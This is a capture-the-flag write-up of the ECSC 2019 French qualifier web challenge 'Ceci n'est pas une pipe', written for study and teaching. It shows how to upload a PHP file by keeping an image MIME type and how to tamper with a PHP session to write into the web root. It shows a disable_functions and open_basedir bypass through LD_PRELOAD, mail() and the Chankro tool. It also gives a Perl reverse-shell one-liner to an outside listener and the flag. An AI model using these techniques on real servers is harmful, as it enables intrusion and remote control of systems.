Ceci n'est pas une pipe

ECSC 2019 - FR Quals - Web (302 pts).

ECSC 2019 - FR Quals : Ceci n’est pas une pipe

Challenge details

Event Challenge Category Points Solves
ECSC 2019 - FR Quals Ceci n’est pas une pipe Web 302 78

Description

Ça se passe par ici : http://challenges.ecsc-teamfrance.fr:8001

TL;DR

Bypass the upload file type check using an image mime type. Then bypass disable_functions and open_basedir with putenv() and mail() to get a shell.

This writeup also contains an unexpected vulnerability in the challenge.

Upload

The first step was to create an account on the challenge. Once registered, we have access to a note manager, with the possibility to upload files.

We first try to upload a php file, however it doesn’t work, there is a restriction on the file types. Only JPEG/PNG files less than 100kB are allowed.

So we fire up Burp, send a valid image, intercept the request and send it to the repeater. Then we modify its extension from jpeg to php and add <?php phpinfo() ?> at the end. I did, however, let the Content-Type to image/jpeg.

The file is well uploaded and by visiting the page, we get the content of phpinfo().

We have our php code execution on the server.

Enumeration

An interesting part of the phpinfo are the disables functions, in our case most of the interesting functions are blocked.

create_function,curl_exec,curl_multi_exec,exec,imap_open,parse_ini_file,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,popen,preg_replace,preg_replace_callback,proc_open,shell_exec,show_source,system,

In addition there is also an open_basedir, restricting us in : var/www/html/upload/personnal_upload_folder, /usr/share/php/chall and /tmp

We use scandir() and file_get_contents() to list /usr/share/php/chall/ and read prepend.php.

ini_set('open_basedir', dirname($_SERVER['SCRIPT_FILENAME']) . ':/usr/share/php/chall:/tmp');"

It’s therefore this file restricting ourselves in the php script working directory, as we can see in the phpinfo (auto_prepend_file), prepend.php is executed when calling every php page.

At that time, it seemed complicate to get a shell, so I continued my enumeration on the global variables.

Unexpected vulnerability

Knowing that there are user accounts, the developer had to use PHP sessions. Let’s see what they contain using session_start(); print_r($_SESSION);.

Array ( [loggedin] => 1 [id] => 20 [username] => stache [user_upload_dir] => eb9104be44bb591362577a39fc145ad03d1beecf42a27e3cffd806a2003cb815 ) 

The session variable user_upload_dir, seems very promosing. It contains the destination folder of our files. What would happen if we changed its value to ..?

session_start();
$_SESSION['user_upload_dir']='..';
print_r($_SESSION);

The variable is well modified, we now try to upload a file. And tadam! It was uploaded in /var/www/html.

This allows us to “bypass” the open_basedir, we now have access to all /var/ww/html and no longer only our personal upload folder.

This allows us to read the sources of the challenge, retrieve the database password, dump it and find… nothing.

At the time, I didn’t know that this vulnerability wasn’t expected, so I kept playing with it. To the point of no return…

I uploaded an .htaccess to try to bypass the disabled functions, however, my file was not valid. As a result, when loading any php page, an error 500 was returned. I made the entire challenge unavailable ^^’

So I contact the admins, to restart the challenge and patch the vulnerability.

For the patch they have removed the write permissions in /var/www/html and have prevented the upload of .htaccess files.

I was awarded 10 bonus points for finding the vulnerability :)

The bypass

I found a vulnerability, but it didn’t help me in solving the challenge. However, I still got some information from her.

In /var/www/html there is a todo.php, that contains:

# ls -l /usr/sbin/sendmail
-rwxr-xr-x 1 root root 16464 janv. 13 2018 /usr/sbin/sendmail

There’s also another reference to emails on the upload page: Send by email - soon available. So I decide to focus on this, especially since the mail function is available.

After some research I come across this article: https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

It explains how to bypass disable_functions using mail() and putenv(). In addition there is a tool, Chankro.

The bypass is based on the fact that php’s mail function call the binary /usr/sbin/sendmail. So we can set the LD_PRELOAD environement variable to the path of a shared object, it will be loaded before any other library and will therefore be given priority during functions calls. This allows us to get a system code execution.

Shell

Chankro usage is straightforward, it comes with a generation script.

$ cat which.sh
    which nc netcat ncat telnet perl ruby java python awk gawk node nodejs lua tclsh socat xterm > /var/www/html/upload/eb9104be44bb591362577a39fc145ad03d1beecf42a27e3cffd806a2003cb815/which.txt
$ python2 chankro.py --arch 64 --input which.sh --output which.php --path /var/www/html/upload/eb9104be44bb591362577a39fc145ad03d1beecf42a27e3cffd806a2003cb815

We upload which.php and execute it, then read the which.txt file that was created.

It contains the list of available binary to reverse shell, we choose perl.

/usr/bin/perl
/usr/bin/awk
$ cat rev.sh
    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:3615");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
$ python2 chankro.py --arch 64 --input rev.sh --output exploit.php --path /var/www/html/upload/eb9104be44bb591362577a39fc145ad03d1beecf42a27e3cffd806a2003cb815

We listen on port 3615, upload the file and execute it.

$ nc -lvp 3615
    listening on [any] 3615 ...

And boom, got a shell!

    connect to [10.10.10.10] from ns3147849.ip-51-83-96.eu [51.83.96.75] 40722
$ id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

Flag

Now that we have a shell, the last step is to find the flag.

$ find / -name flag -type f 2>/dev/null
    /home/flag
$ ls -lash /home/flag
    12K --wx--x--x 1 root root 8.2K May 18 09:39 /home/flag
$ /home/flag
    ECSC{f12d9ff3a017065d4d363cea148bef8bfffacc31}

ECSC{f12d9ff3a017065d4d363cea148bef8bfffacc31}

DrStache